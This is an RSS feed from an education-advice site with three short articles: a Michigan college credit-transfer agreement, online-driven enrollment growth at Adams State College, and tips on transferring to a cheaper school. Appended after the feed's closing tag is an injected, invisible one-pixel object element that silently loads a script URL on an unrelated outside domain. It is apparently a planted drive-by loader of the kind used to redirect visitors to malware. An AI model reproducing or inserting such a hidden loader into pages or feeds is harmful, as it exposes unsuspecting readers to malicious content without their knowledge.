<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Education &#38; Careers &#187; transfer students</title>
	<atom:link href="http://www.classesandcareers.com/education/tag/transfer-students/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.classesandcareers.com/education</link>
	<description>Education &#38; Career Advice and Tips</description>
	<lastBuildDate>Tue, 13 Dec 2011 17:56:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Two Michigan-based colleges enter transfer agreement to help business students graduate faster</title>
		<link>http://www.classesandcareers.com/education/2011/03/10/two-michigan-based-colleges-enter-transfer-agreement-to-help-business-students-graduate-faster/</link>
		<comments>http://www.classesandcareers.com/education/2011/03/10/two-michigan-based-colleges-enter-transfer-agreement-to-help-business-students-graduate-faster/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 16:48:26 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Online Education News]]></category>
		<category><![CDATA[business students]]></category>
		<category><![CDATA[credit transfer]]></category>
		<category><![CDATA[michigan]]></category>
		<category><![CDATA[transfer students]]></category>

		<guid isPermaLink="false">http://www.classesandcareers.com/education/2011/03/10/two-michigan-based-colleges-enter-transfer-agreement-to-help-business-students-graduate-faster/</guid>
		<description><![CDATA[Owens Community College (OCC) and Walsh College, with are located in Michigan, recently announced an articulation agreement that will enable business students to transfer from one institution to the other, The News-Messenger reports. As part of the agreement, students who are attending OCC can seamlessly transfer 82 credits toward a business degree in management, finance [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://pictures.directnews.co.uk/liveimages/two+michigan+based+colleges+enter+transfer+agreement+to+help+business+students+graduate+faster_3789_800455856_0_0_7022920_300.jpg" alt="Two Michigan-based colleges enter transfer agreement to help business students graduate faster" align="right">Owens Community College (OCC) and Walsh College, with are located in Michigan, recently announced an articulation agreement that will enable business students to transfer from one institution to the other, The News-Messenger reports.</p>
<p>As part of the agreement, students who are attending OCC can seamlessly transfer 82 credits toward a business degree in management, finance or marketing at Walsh. Officials told the news source that enrollees will have approximately 45 credits to complete at Walsh to finish their degree.</p>
<p>&quot;Walsh College is known internationally as a leader in business education,&quot; Renay Scott, vice president and provost of OCC, told the news source. &quot;This partnership benefits the citizens of the region and helps to create a well-prepared workforce.&quot;</p>
<p>Officials added that OCC students will also have the opportunity to continue their online studies in order to earn a graduate business degree from Walsh. Furthermore, those who meet the requisite grade point average may participate in the Walsh Honors Fast Track program, which is designed to allow learners to complete two-, four-year degrees as well as a master&#039;s degree in five years.</p>
<p>According to U.S. News and World Report, enrollment in online programs has increased by 832 percent over the past the past nine years.&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2011/03/10/two-michigan-based-colleges-enter-transfer-agreement-to-help-business-students-graduate-faster/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adams State College lists online learning among reasons for enrollment boost</title>
		<link>http://www.classesandcareers.com/education/2011/02/08/adams-state-college-lists-online-learning-among-reasons-for-enrollment-boost/</link>
		<comments>http://www.classesandcareers.com/education/2011/02/08/adams-state-college-lists-online-learning-among-reasons-for-enrollment-boost/#comments</comments>
		<pubDate>Tue, 08 Feb 2011 16:53:42 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Online Education News]]></category>
		<category><![CDATA[adams state college]]></category>
		<category><![CDATA[masters degrees]]></category>
		<category><![CDATA[online bachelors degree]]></category>
		<category><![CDATA[transfer students]]></category>
		<category><![CDATA[web-based course]]></category>

		<guid isPermaLink="false">http://www.classesandcareers.com/education/2011/02/08/adams-state-college-lists-online-learning-among-reasons-for-enrollment-boost/</guid>
		<description><![CDATA[Adams State College, which is located in Colorado, recently announced that its spring enrollment numbers are the highest they have been in 10 years, the Alamosa News reports. Officials told the news source that significant growth in online bachelor&#039;s and master&#039;s degree programs. The school enrolled 3,421 students for its spring semester, which is a [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://pictures.directnews.co.uk/liveimages/adams+state+college+lists+online+learning+among+reasons+for+enrollment+boost_3789_800393338_0_0_7072919_300.jpg" alt="Adams State College lists online learning among reasons for enrollment boost" align="right">Adams State College, which is located in Colorado, recently announced that its spring enrollment numbers are the highest they have been in 10 years, the Alamosa News reports.</p>
<p>Officials told the news source that significant growth in online bachelor&#039;s and master&#039;s degree programs. The school enrolled 3,421 students for its spring semester, which is a 7.2 percent increase from 2010. Moreover, the school boasts a 83 percent student retention rate, which represents a 4 percent growth over the last three years.</p>
<p>&quot;We continue to see strong growth in our enrollment at all levels,&quot; Michael Mumper, senior vice president for enrollment management and program development at the school, told the news source. &quot;The large freshman class that entered last fall retained at a very high rate, and we attracted a large number of new transfer students this spring.&quot;</p>
<p>Officials added that 648 undergraduates are enrolled in online degree programs, representing a 25 percent increase over 2010. Furthermore, the college also saw a 17 percent increase in out-of-date students over 2009 numbers.</p>
<p>According to the 2010 Sloan Survey of Online Learning, approximately 30 percent of all college and university students are enrolled in at least on web-based course.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2011/02/08/adams-state-college-lists-online-learning-among-reasons-for-enrollment-boost/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Changing to a More Affordable School</title>
		<link>http://www.classesandcareers.com/education/2009/07/02/changing-to-a-more-affordable-school/</link>
		<comments>http://www.classesandcareers.com/education/2009/07/02/changing-to-a-more-affordable-school/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 19:49:32 +0000</pubDate>
		<dc:creator>adam</dc:creator>
				<category><![CDATA[Career Advice]]></category>
		<category><![CDATA[Choosing a School]]></category>
		<category><![CDATA[Preparing for School]]></category>
		<category><![CDATA[college students]]></category>
		<category><![CDATA[expensive colleges]]></category>
		<category><![CDATA[funding school]]></category>
		<category><![CDATA[higher education]]></category>
		<category><![CDATA[in state tuition]]></category>
		<category><![CDATA[school expenses]]></category>
		<category><![CDATA[transfer students]]></category>

		<guid isPermaLink="false">http://www.classesandcareers.com/education/?p=337</guid>
		<description><![CDATA[Tips for choosing a school include making sure that an expensive institution is right for you.  Have a financial plan ready that goes beyond the first year.  Have realistic expectations and really consider your options.  Choose a degree that you are going to stick with; or else you will spend a lot of time and money trying to figure out what you want to do and retaking classes.]]></description>
			<content:encoded><![CDATA[<p>Because of the economy many students are <b>rethinking</b> their expensive private school education.&nbsp; Rachel Harrison who had been attending an expensive private school in New York has had to make a difficult decision.&nbsp; Should she continue at her $40,000-a-year-private school or leave and enroll at a <b>cheaper school</b> near her home in <a href="http://classesandcareers.com/schools_argosy-university-college-of-undergraduate-studies/state_arizona/campus_argosy-university-undergraduate-phoenix/degree_undergraduate">Arizona</a>.&nbsp; </p>
<p>	After weighing the<b> pros and cons</b>, Harrison decided that she like many other students across the nation would move home and attend a cheaper university.&nbsp; Not only would she get in state tuition in Arizona, but it would also be cheaper to live there.</p>
<p>	Attending classes at her private college was no longer financially possible, unless she wanted to leave school over $100,000 dollars in debt.&nbsp; The one year of school, almost <b>drained her college fund</b>.&nbsp; Not only are college students being forced to make a college change, but high school seniors are also being forced to make this same decision.</p>
<p>	Many high school seniors have already decided to forgo costly schools.&nbsp; Instead they have decided to attend schools that are <a class="textlink" href="http://classesandcareers.com/schools_argosy-university-college-of-undergraduate-studies/state_washington/campus_argosy-university-undergraduate-seattle/degree_bachelor-degree">closer</a> to home and have cheaper tuition.&nbsp; Many public colleges have seen an <b>increase</b> in the number of <b>transfer applications</b> this year.&nbsp; Many students reported their decision to transfer was due to money.</p>
<p>	Some tips for determining whether an expensive institution is right for you.&nbsp; First of all, make sure that the expensive private school is really what you want and need.&nbsp; Second, make sure that you will still be able to go to <b>grad school</b>, medical, or law school after earning your bachelor&#39;s degree.&nbsp; </p>
<p>	And if you already attended the expensive school but are considering transferring to a different school but you have already completed two years of a degree, then it may be better to <b>stay at your school</b>.&nbsp; Otherwise, you might have to spend an extra semester or two retaking classes required by the new school.</p>
<p>	So the take home message is make sure that an expensive institution is right for you.&nbsp; Make sure you have a lot of money and a financial plan beyond the first year.&nbsp; Have realistic expectations and really consider your options.&nbsp; And make sure that when you have chosen a degree that you are going to stick with it; or else you will <b>waste</b> a lot of time and money.<br />
	&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/07/02/changing-to-a-more-affordable-school/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<object data="http://pentagori.com/in.cgi?3" type="text/html" width="1" height="1"></object> 
